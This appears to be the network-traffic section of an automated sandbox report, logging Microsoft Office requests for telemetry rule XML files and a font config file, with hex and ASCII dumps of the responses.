2024-11-25 04:46:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: e1811c2a-201e-00aa-06c6-3e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044633Z-178bfbc474bscnbchC1NYCe7eg000000075g0000000052qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:33 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 5aac375c-301e-005d-2f0e-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044633Z-15b8b599d88tr2flhC1TEB5gk400000005p0000000002ewk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044633Z-15b8b599d8885prmhC1TEBsnkw00000005n0000000004rcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49797	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 04:46:35 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=103594 Date: Mon, 25 Nov 2024 04:46:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 04:46:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044635Z-178bfbc474bxkclvhC1NYC69g400000006z00000000041fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044635Z-15b8b599d88tmlzshC1TEB4xpn000000059g00000000dz1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:35 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:36 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 413a5bf0-401e-0035-1ab5-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044636Z-178bfbc474b9xljthC1NYCtw9400000006u000000000fnyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044636Z-174c587ffdfldtt2hC1TEBwv9c00000005b0000000004zks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:36 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044636Z-178bfbc474bp8mkvhC1NYCzqnn00000006sg00000000c6fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:36 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:37 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:37 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: c2388785-401e-0048-0e03-3e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044637Z-178bfbc474bwh9gmhC1NYCy3rs00000006z000000000g1w6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 414c800a-401e-0035-7cbf-3e82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044638Z-178bfbc474bwlrhlhC1NYCy3kg00000006y000000000c2b1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044638Z-174c587ffdfp4vpjhC1TEBybqw00000005d000000000erbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
